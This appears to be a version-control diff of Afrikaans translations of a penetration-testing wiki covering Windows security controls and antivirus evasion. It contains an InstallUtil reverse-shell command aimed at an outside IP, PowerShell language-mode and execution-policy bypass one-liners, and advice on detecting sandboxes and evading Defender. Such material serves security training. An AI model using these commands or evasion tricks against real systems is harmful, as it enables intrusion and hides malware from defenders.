@ -108,15 +108,15 @@ EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel*
**Ontsleuteling scenario's sonder gebruiker inisiatief** sluit in:
- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), verskuif word, word hulle outomaties ontsleutel.
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor oordrag ontsleutel.
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor transmissie ontsleutel.
Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om eenvoudig die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie.
**Belangrike Takeaways**:
**Belangrike Punten**:
- EFS gebruik 'n simmetriese FEK, versleuteld met die gebruiker se publieke sleutel.
- Ontsleuteling gebruik die gebruiker se privaat sleutel om toegang tot die FEK te verkry.
- Outomatiese ontsleuteling vind plaas onder spesifieke omstandighede, soos om na FAT32 te kopieer of netwerk oordrag.
- Outomatiese ontsleuteling vind plaas onder spesifieke toestande, soos om na FAT32 te kopieer of netwerk transmissie.
- Versleutelde lêers is toeganklik vir die eienaar sonder addisionele stappe.
### Check EFS info
@ -124,7 +124,7 @@ Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers
Kontroleer of 'n **gebruiker** hierdie **diens** gebruik het deur te kyk of hierdie pad bestaan:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
Kontroleer **wie** toegang tot die lêer het met cipher /c \<file>\
Jy kan ook `cipher /e` en `cipher /d` binne 'n vouer gebruik om **te versleutel** en **te ontsleutel** al die lêers
Jy kan ook `cipher /e` en `cipher /d` binne 'n vouer gebruik om al die lêers te **versleutel** en **ontsleutel**.
### Decrypting EFS files
@ -140,11 +140,11 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastruktuur te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing:
Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing:
- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen vergrendeling en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verbeter.
- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gashere gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gasheers gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
- **Geplande Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geplande take.
- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Service Principal Name (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
@ -162,7 +162,7 @@ Kyk ook na hierdie [webblad](https://cube0x0.github.io/Relaying-for-gMSA/) oor h
## LAPS
Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai van [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrateur wagwoorde in staat. Hierdie wagwoorde, wat **ewekansig**, uniek, en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde is beperk deur ACLs tot gemagtigde gebruikers. Met voldoende toestemmings wat toegeken word, word die vermoë om plaaslike admin wagwoorde te lees, verskaf.
Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai van [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrateur wagwoorde in staat. Hierdie wagwoorde, wat **ewekansig**, uniek, en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde is beperk deur ACLs aan gemagtigde gebruikers. Met voldoende toestemmings wat toegeken word, word die vermoë om plaaslike admin wagwoorde te lees, verskaf.
{{#ref}}
active-directory-methodology/laps.md
@ -173,23 +173,23 @@ active-directory-methodology/laps.md
PowerShell [**Beperkte Taalmodus**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **sluit baie van die funksies** wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-objekte, slegs goedgekeurde .NET tipes, XAML-gebaseerde werksvloeie, PowerShell klasse, en meer, af.
### **Kontroleer**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Omseil
```powershell
```bash
#Easy bypass
Powershell -version 2
```
In huidige Windows sal daardie Bypass nie werk nie, maar jy kan gebruik maak van [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Om dit te kompileer mag jy** **moet** _**'n Verwysing Voeg**_ -> _Blader_ -> _Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
In huidige Windows sal daardie omseiling nie werk nie, maar jy kan [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) gebruik.\
**Om dit te kompileer, mag jy** **moet** **_n Verwysing Voeg_** -> _Blader_ -> _Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
#### Direkte bypass:
#### Direkte omseiling:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### Omgekeerde dop:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
@ -197,8 +197,8 @@ U kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/m
## PS Uitvoeringsbeleid
Standaard is dit op **beperk.** Hoofmaniere om hierdie beleid te omseil:
```powershell
Standaard is dit op **beperk** gestel. Hoofmaniere om hierdie beleid te omseil:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -217,13 +217,13 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
Meer kan gevind word [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
Meer kan [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) gevind word.
## Veiligheid Ondersteuningsverskaffer Koppelvlak (SSPI)
## Security Support Provider Interface (SSPI)
Is die API wat gebruik kan word om gebruikers te verifieer.
Is die API wat gebruik kan word om gebruikers te autentiseer.
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter verifikasieprotokol gebruik sal word, hierdie verifikasieprotokolle word Veiligheid Ondersteuningsverskaffer (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel oor watter autentiseringsprotokol gebruik sal word, hierdie autentiseringsprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
### Hoof SSPs
@ -240,9 +240,9 @@ Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir t
#### Die onderhandeling kan verskeie metodes of slegs een bied.
## UAC - Gebruikersrekeningbeheer
## UAC - User Account Control
[Gebruikersrekeningbeheer (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak.
{{#ref}}
windows-security-controls/uac-user-account-control.md

View File

@ -1,4 +1,4 @@
# Windows Veiligheid Beheer
# Windows Security Controls
{{#include ../../banners/hacktricks-training.md}}
@ -6,13 +6,13 @@
'n Aansoek witlys is 'n lys van goedgekeurde sagtewaretoepassings of uitvoerbare lêers wat toegelaat word om teenwoordig te wees en op 'n stelsel te loop. Die doel is om die omgewing te beskerm teen skadelike malware en nie-goedgekeurde sagteware wat nie ooreenstem met die spesifieke besigheidsbehoeftes van 'n organisasie nie.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter aansoeke en lêers gebruikers kan uitvoer**. Dit bied **fynbeheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte aansoeke, en verpakte aansoek-installeerders.\
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe** blokkeer en skryftoegang tot sekere gidse, **maar dit kan alles omseil word**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft se **aansoek witlys oplossing** en gee stelselsadministrateurs beheer oor **watter aansoeke en lêers gebruikers kan uitvoer**. Dit bied **fyn beheer** oor uitvoerbare lêers, skripte, Windows-installer lêers, DLL's, verpakte toepassings, en verpakte toepassingsinstalleerders.\
Dit is algemeen dat organisasies **cmd.exe en PowerShell.exe** blokkeer en skrywe toegang tot sekere gidse, **maar dit kan alles omseil word**.
### Kontroleer
### Kontrole
Kontroleer watter lêers/uitbreidings op die swartlys/witlys is:
```powershell
Kontrole watter lêers/uitbreidings op die swartlys/witlys is:
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -37,26 +37,26 @@ C:\windows\tracing
- **Sleg geskryfde reëls kan ook omseil word**
- Byvoorbeeld, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, jy kan 'n **map genaamd `allowed`** enige plek skep en dit sal toegelaat word.
- Organisasies fokus ook dikwels op **die blokkeer van die `%System32%\WindowsPowerShell\v1.0\powershell.exe` uitvoerbare lêer**, maar vergeet van die **ander** [**PowerShell uitvoerbare plekke**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) soos `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` of `PowerShell_ISE.exe`.
- **DLL afdwinging is baie selde geaktiveer** weens die ekstra las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat benodig word om te verseker dat niks sal breek nie. So, die gebruik van **DLL's as agterdeure sal help om AppLocker te omseil**.
- **DLL afdwinging is baie selde geaktiveer** weens die ekstra las wat dit op 'n stelsel kan plaas, en die hoeveelheid toetsing wat benodig word om te verseker dat niks sal breek nie. Dus sal die gebruik van **DLL's as agterdeure help om AppLocker te omseil**.
- Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **Powershell** kode in enige proses uit te voer en AppLocker te omseil. Vir meer inligting, kyk: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Kredensiaal Berging
## Kredietbewaring
### Sekuriteitsrekeningbestuurder (SAM)
Plaaslike kredensiale is teenwoordig in hierdie lêer, die wagwoorde is gehasht.
Plaaslike krediete is teenwoordig in hierdie lêer, die wagwoorde is gehasht.
### Plaaslike Sekuriteitsowerheid (LSA) - LSASS
Die **kredensiale** (gehasht) word **gestoor** in die **geheue** van hierdie subsisteem vir Enkelteken-in redes.\
Die **krediete** (gehasht) word **gestoor** in die **geheue** van hierdie subsisteem vir Enkelteken-in redes.\
**LSA** bestuur die plaaslike **sekuriteitsbeleid** (wagwoordbeleid, gebruikersregte...), **verifikasie**, **toegangstokens**...\
LSA sal die een wees wat sal **kontroleer** vir verskafde kredensiale binne die **SAM** lêer (vir 'n plaaslike aanmelding) en **praat** met die **domeinbeheerder** om 'n domein gebruiker te verifieer.
LSA sal die een wees wat die **krediete** in die **SAM** lêer (vir 'n plaaslike aanmelding) sal **kontroleer** en met die **domeinbeheerder** sal **praat** om 'n domein gebruiker te verifieer.
Die **kredensiale** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontcijferbare wagwoorde.
Die **krediete** word **gestoor** binne die **proses LSASS**: Kerberos kaartjies, hashes NT en LM, maklik ontcijferbare wagwoorde.
### LSA geheime
LSA kan sekere kredensiale op skyf stoor:
LSA kan sommige krediete op skyf stoor:
- Wagwoord van die rekenaarrekening van die Aktiewe Directory (onbereikbare domeinbeheerder).
- Wagwoorde van die rekeninge van Windows dienste
@ -65,7 +65,7 @@ LSA kan sekere kredensiale op skyf stoor:
### NTDS.dit
Dit is die databasis van die Aktiewe Directory. Dit is slegs teenwoordig in Domein Beheerders.
Dit is die databasis van die Aktiewe Directory. Dit is slegs teenwoordig in Domeinbeheerders.
## Defender
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
Om dit te enumerate kan jy ook uitvoer:
Om dit te evalueer, kan jy ook uitvoer:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -103,12 +103,12 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel** gebruik wat bekend staan as die **Lêer Versleuteling Sleutel (FEK)**. Hierdie sleutel word versleuteld met die gebruiker se **publieke sleutel** en gestoor binne die versleutelde lêer se $EFS **alternatiewe datastroom**. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK uit die $EFS-stroom te ontsleutel. Meer besonderhede kan [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) gevind word.
EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel** gebruik wat bekend staan as die **File Encryption Key (FEK)**. Hierdie sleutel word versleuteld met die gebruiker se **publieke sleutel** en gestoor binne die versleutelde lêer se $EFS **alternatiewe datastroom**. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK uit die $EFS-stroom te ontsleutel. Meer besonderhede kan [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) gevind word.
**Ontsleuteling scenario's sonder gebruiker inisiatief** sluit in:
- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), verskuif word, word hulle outomaties ontsleutel.
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor oordrag ontsleutel.
- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor transmissie ontsleutel.
Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om eenvoudig die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie.
@ -116,7 +116,7 @@ Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers
- EFS gebruik 'n simmetriese FEK, versleuteld met die gebruiker se publieke sleutel.
- Ontsleuteling gebruik die gebruiker se privaat sleutel om toegang tot die FEK te verkry.
- Outomatiese ontsleuteling vind plaas onder spesifieke omstandighede, soos om na FAT32 te kopieer of netwerk oordrag.
- Outomatiese ontsleuteling vind plaas onder spesifieke toestande, soos om na FAT32 te kopieer of netwerk transmissie.
- Versleutelde lêers is toeganklik vir die eienaar sonder addisionele stappe.
### Check EFS info
@ -140,13 +140,13 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastruktuur te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing:
Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing:
- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Sleutelverspreidingsdiens (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen vergrendeling en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verbeter.
- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gasheers gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop.
- **Geplande Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geplande take.
- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Diens Prinsipaal Naam (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
- **Geskeduleerde Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geskeduleerde take.
- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Service Principal Name (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
Die wagwoorde vir gMSA's word in die LDAP eienskap _**msDS-ManagedPassword**_ gestoor en word outomaties elke 30 dae deur Domein Beheerders (DC's) gereset. Hierdie wagwoord, 'n versleutelde datablad bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSA's geïnstalleer is, verkry word, wat 'n veilige omgewing verseker. Om toegang tot hierdie inligting te verkry, is 'n beveiligde verbinding soos LDAPS nodig, of die verbinding moet geverifieer word met 'Sealing & Secure'.
@ -173,23 +173,23 @@ Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai van
PowerShell [**Beperkte Taalmodus**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **sluit baie van die funksies** wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-objekte, slegs goedgekeurde .NET tipes, XAML-gebaseerde werksvloeie, PowerShell klasse, en meer, af.
### **Kontroleer**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Omseil
```powershell
```bash
#Easy bypass
Powershell -version 2
```
In huidige Windows sal daardie Bypass nie werk nie, maar jy kan gebruik maak van [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Om dit te kompileer mag jy** **moet** _**'n Verwysing Voeg**_ -> _Blader_ -> _Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
In huidige Windows sal daardie omseiling nie werk nie, maar jy kan [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) gebruik.\
**Om dit te kompileer, mag jy** **moet** _**'n Verwysing Voeg**_ -> _Blader_ -> _Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
#### Direkte bypass:
#### Direkte omseiling:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### Omgekeerde skulp:
#### Terugskakel:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
@ -198,7 +198,7 @@ U kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/m
## PS Uitvoeringsbeleid
Standaard is dit op **beperk.** Hoofmaniere om hierdie beleid te omseil:
```powershell
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -223,7 +223,7 @@ Meer kan [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-executi
Is die API wat gebruik kan word om gebruikers te autentiseer.
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter autentifikasieprotokol gebruik sal word, hierdie autentifikasieprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter autentiseringsprotokol gebruik sal word, hierdie autentiseringsprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
### Hoof SSPs
@ -240,9 +240,9 @@ Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir t
#### Die onderhandeling kan verskeie metodes of slegs een bied.
## UAC - User Account Control
## UAC - Gebruikersrekeningbeheer
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak.
[Gebruikersrekeningbeheer (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak.
{{#ref}}
uac-user-account-control.md

View File

@ -10,7 +10,7 @@ Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig
### **Statiese opsporing**
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrif te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te kom:
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te werk:
- **Enkripsie**
@ -18,7 +18,7 @@ As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te
- **Obfuskasie**
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrif te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk.
Soms is al wat jy hoef te doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk.
- **Pasgemaakte gereedskap**
@ -31,10 +31,10 @@ Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/pl
### **Dinamiese analise**
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade.
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaier se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade.
- **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
- **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
- **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
- **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne defender se sandbox, so jy kan jou program laat verlaat.
@ -49,27 +49,27 @@ Soos ons voorheen in hierdie pos gesê het, **publieke gereedskap** sal uiteinde
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om mee te werk om rondom AV's te kom, so kyk net vir alternatiewe vir wat jy probeer bereik.
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
> [!NOTE]
> Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kontroleer of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
## EXEs vs DLLs
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir evasie**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
Wanneer dit moontlik is, moet jy altyd **prioritiseer om DLLs vir evasie te gebruik**, volgens my ervaring, is DLL-lêers gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om in sommige gevalle opsporing te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
